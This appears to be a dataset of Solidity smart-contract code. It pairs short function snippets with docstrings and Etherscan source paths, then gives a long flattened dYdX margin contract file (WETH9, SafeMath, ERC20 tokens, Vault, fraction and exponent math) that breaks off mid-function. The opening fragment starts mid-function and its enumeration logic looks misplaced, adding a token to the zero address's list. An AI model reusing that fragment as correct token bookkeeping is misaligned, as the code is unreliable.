_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
}
| 12,775,207
|
./full_match/1/0xA4c4808777c16F5A846C92173592272198103DaE/sources/contracts/RockPaperScissors_V8.sol
|
return winner of the game
|
function getWhoWon(
uint256 gameId
) public view returns (WinnerOutcomes winner) {
GameData memory game = gamesData[gameId];
winner = _calcWinner(game.playerA.move, game.playerB.move);
return winner;
}
| 3,130,786
|
./full_match/1/0x35B62Cb442A3b67082080a1e8F5c377811A45613/sources/browser/DPiggy.sol
|
Forwarding function to dPiggy asset to deliberately finish the user participation. All asset profit is redeemed as well as all the Dai deposited for the respective assets. Only can be called by the admin. Although being called by the admin, assets and Dai redeemed are done to the respective user address. users Array with user addresses. tokenAddresses Array with ERC20 token addresses or '0x0' for Ethereum. The asset must already exist on dPiggy./
|
function forceFinish(address[] calldata users, address[] calldata tokenAddresses) nonReentrant onlyAdmin external {
require(users.length > 0, "DPiggyAssetManager::forceFinish: users is required");
for (uint256 i = 0; i < users.length; i++) {
_setAsset(tokenAddresses, abi.encodeWithSignature("forceFinish(address)", users[i]));
}
}
| 8,369,355
|
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
// File: canonical-weth/contracts/WETH9.sol
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function() external payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
// File: openzeppelin-solidity/contracts/math/Math.sol
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/lib/AccessControlledBase.sol
/**
* @title AccessControlledBase
* @author dYdX
*
* Base functionality for access control. Requires an implementation to
* provide a way to grant and optionally revoke access
*/
contract AccessControlledBase {
// ============ State Variables ============
mapping (address => bool) public authorized;
// ============ Events ============
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
// ============ Modifiers ============
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
// File: contracts/lib/StaticAccessControlled.sol
/**
* @title StaticAccessControlled
* @author dYdX
*
* Allows for functions to be access controled
* Permissions cannot be changed after a grace period
*/
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
// ============ State Variables ============
// Timestamp after which no additional access can be granted
uint256 public GRACE_PERIOD_EXPIRATION;
// ============ Constructor ============
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
// ============ Owner-Only State-Changing Functions ============
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
// File: contracts/lib/GeneralERC20.sol
/**
* @title GeneralERC20
* @author dYdX
*
* Interface for using ERC20 Tokens. We have to use a special interface to call ERC20 functions so
* that we dont automatically revert when calling non-compliant tokens that have no return value for
* transfer(), transferFrom(), or approve().
*/
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
// File: contracts/lib/TokenInteract.sol
/**
* @title TokenInteract
* @author dYdX
*
* This library contains basic functions for interacting with ERC20 tokens
*/
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
// ============ Private Helper-Functions ============
/**
* Checks the return value of the previous function up to 32 bytes. Returns true if the previous
* function returned 0 bytes or 32 bytes that are not all-zero.
*/
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
/* solium-disable-next-line security/no-inline-assembly */
assembly {
// check number of bytes returned from last function call
switch returndatasize
// no bytes returned: assume success
case 0x0 {
returnValue := 1
}
// 32 bytes returned: check if non-zero
case 0x20 {
// copy 32 bytes into scratch space
returndatacopy(0x0, 0x0, 0x20)
// load those bytes into returnValue
returnValue := mload(0x0)
}
// not sure what was returned: dont mark as success
default { }
}
return returnValue != 0;
}
}
// File: contracts/margin/TokenProxy.sol
/**
* @title TokenProxy
* @author dYdX
*
* Used to transfer tokens between addresses which have set allowance on this contract.
*/
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
// ============ Constructor ============
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
// ============ Authorized-Only State Changing Functions ============
/**
* Transfers tokens from an address (that has set allowance on the proxy) to another address.
*
* @param token The address of the ERC20 token
* @param from The address to transfer token from
* @param to The address to transfer tokens to
* @param value The number of tokens to transfer
*/
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
// ============ Public Constant Functions ============
/**
* Getter function to get the amount of token that the proxy is able to move for a particular
* address. The minimum of 1) the balance of that address and 2) the allowance given to proxy.
*
* @param who The owner of the tokens
* @param token The address of the ERC20 token
* @return The number of tokens able to be moved by the proxy from the address specified
*/
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
// File: contracts/margin/Vault.sol
/**
* @title Vault
* @author dYdX
*
* Holds and transfers tokens in vaults denominated by id
*
* Vault only supports ERC20 tokens, and will not accept any tokens that require
* a tokenFallback or equivalent function (See ERC223, ERC777, etc.)
*/
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
// ============ Events ============
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
// ============ State Variables ============
// Address of the TokenProxy contract. Used for moving tokens.
address public TOKEN_PROXY;
// Map from vault ID to map from token address to amount of that token attributed to the
// particular vault ID.
mapping (bytes32 => mapping (address => uint256)) public balances;
// Map from token address to total amount of that token attributed to some account.
mapping (address => uint256) public totalBalances;
// ============ Constructor ============
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
// ============ Owner-Only State-Changing Functions ============
/**
* Allows the owner to withdraw any excess tokens sent to the vault by unconventional means,
* including (but not limited-to) token airdrops. Any tokens moved to the vault by TOKEN_PROXY
* will be accounted for and will not be withdrawable by this function.
*
* @param token ERC20 token address
* @param to Address to transfer tokens to
* @return Amount of tokens withdrawn
*/
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
// ============ Authorized-Only State-Changing Functions ============
/**
* Transfers tokens from an address (that has approved the proxy) to the vault.
*
* @param id The vault which will receive the tokens
* @param token ERC20 token address
* @param from Address from which the tokens will be taken
* @param amount Number of the token to be sent
*/
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
// First send tokens to this contract
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
// Then increment balances
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
// This should always be true. If not, something is very wrong
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
/**
* Transfers a certain amount of funds to an address.
*
* @param id The vault from which to send the tokens
* @param token ERC20 token address
* @param to Address to transfer tokens to
* @param amount Number of the token to be sent
*/
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
// Next line also asserts that (balances[id][token] >= amount);
balances[id][token] = balances[id][token].sub(amount);
// Next line also asserts that (totalBalances[token] >= amount);
totalBalances[token] = totalBalances[token].sub(amount);
// This should always be true. If not, something is very wrong
assert(totalBalances[token] >= balances[id][token]);
// Do the sending
TokenInteract.transfer(token, to, amount); // asserts transfer succeeded
// Final validation
validateBalance(token);
}
// ============ Private Helper-Functions ============
/**
* Verifies that this contract is in control of at least as many tokens as accounted for
*
* @param token Address of ERC20 token
*/
function validateBalance(
address token
)
private
view
{
// The actual balance could be greater than totalBalances[token] because anyone
// can send tokens to the contract's address which cannot be accounted for
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author dYdX
*
* Optimized version of the well-known ReentrancyGuard contract
*/
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
// File: openzeppelin-solidity/contracts/AddressUtils.sol
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _addr address to check
* @return whether the target address is a contract
*/
function isContract(address _addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
// File: contracts/lib/Fraction.sol
/**
* @title Fraction
* @author dYdX
*
* This library contains implementations for fraction structs.
*/
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
// File: contracts/lib/FractionMath.sol
/**
* @title FractionMath
* @author dYdX
*
* This library contains safe math functions for manipulating fractions.
*/
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
/**
* Returns a Fraction128 that is equal to a + b
*
* @param a The first Fraction128
* @param b The second Fraction128
* @return The result (sum)
*/
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
// if left + right overflows, prevent overflow
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
/**
* Returns a Fraction128 that is equal to a - (1/2)^d
*
* @param a The Fraction128
* @param d The power of (1/2)
* @return The result
*/
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
/**
* Returns a Fraction128 that is equal to a / d
*
* @param a The first Fraction128
* @param d The divisor
* @return The result (quotient)
*/
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
/**
* Returns a Fraction128 that is equal to a * b.
*
* @param a The first Fraction128
* @param b The second Fraction128
* @return The result (product)
*/
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
/**
* Returns a fraction from two uint256's. Fits them into uint128 if necessary.
*
* @param num The numerator
* @param den The denominator
* @return The Fraction128 that matches num/den most closely
*/
/* solium-disable-next-line security/no-assign-params */
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0); // coverage-enable-line
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
/**
* Returns an in-memory copy of a Fraction128
*
* @param a The Fraction128 to copy
* @return A copy of the Fraction128
*/
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
// ============ Private Helper-Functions ============
/**
* Asserts that a Fraction128 is valid (i.e. the denominator is non-zero)
*
* @param a The Fraction128 to validate
*/
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0); // coverage-enable-line
}
}
// File: contracts/lib/Exponent.sol
/**
* @title Exponent
* @author dYdX
*
* This library contains an implementation for calculating e^X for arbitrary fraction X
*/
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
// ============ Constants ============
// 2**128 - 1
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
// Number of precomputed integers, X, for E^((1/2)^X)
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
// Number of precomputed integers, X, for E^X
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
// ============ Public Implementation Functions ============
/**
* Returns e^X for any fraction X
*
* @param X The exponent
* @param precomputePrecision Accuracy of precomputed terms
* @param maclaurinPrecision Accuracy of Maclaurin terms
* @return e^X
*/
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) { // e^0 = 1
return ONE();
}
// get the integer value of the fraction (example: 9/4 is 2.25 so has integerValue of 2)
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
// if X is less than 1, then just calculate X
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
// get e^integerX
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
// multiply e^integerX by e^decimalX
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
/**
* Returns e^X for any X < 1. Multiplies precomputed values to get close to the real value, then
* Maclaurin Series approximation to reduce error.
*
* @param X Exponent
* @param precomputePrecision Accuracy of precomputed terms
* @param maclaurinPrecision Accuracy of Maclaurin terms
* @return e^X
*/
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
// will also throw if precomputePrecision is larger than the array length in getDenominator
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) { // e^0 = 1
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1; // 2^i
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
// if Fraction > 1/d, subtract 1/d and multiply result by precomputed e^(1/d)
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
/**
* Returns e^X for any X, using Maclaurin Series approximation
*
* e^X = SUM(X^n / n!) for n >= 0
* e^X = 1 + X/1! + X^2/2! + X^3/3! ...
*
* @param X Exponent
* @param precision Accuracy of Maclaurin terms
* @return e^X
*/
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) { // e^0 = 1
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
/**
* Returns a fraction roughly equaling E^((1/2)^x) for integer x
*/
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
/**
* Returns a fraction roughly equaling E^(x) for integer x
*/
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
// ============ Private Helper-Functions ============
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
// File: contracts/lib/MathHelpers.sol
/**
* @title MathHelpers
* @author dYdX
*
* This library helps with common math functions in Solidity
*/
library MathHelpers {
using SafeMath for uint256;
/**
* Calculates partial value given a numerator and denominator.
*
* @param numerator Numerator
* @param denominator Denominator
* @param target Value to calculate partial of
* @return target * numerator / denominator
*/
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
/**
* Calculates partial value given a numerator and denominator, rounded up.
*
* @param numerator Numerator
* @param denominator Denominator
* @param target Value to calculate partial of
* @return Rounded-up result of target * numerator / denominator
*/
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
/**
* Calculates division given a numerator and denominator, rounded up.
*
* @param numerator Numerator.
* @param denominator Denominator.
* @return Rounded-up result of numerator / denominator
*/
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0); // coverage-enable-line
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
/**
* Calculates and returns the maximum value for a uint256 in solidity
*
* @return The maximum value for uint256
*/
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
/**
* Calculates and returns the maximum value for a uint256 in solidity
*
* @return The maximum value for uint256
*/
function maxUint32(
)
internal
pure
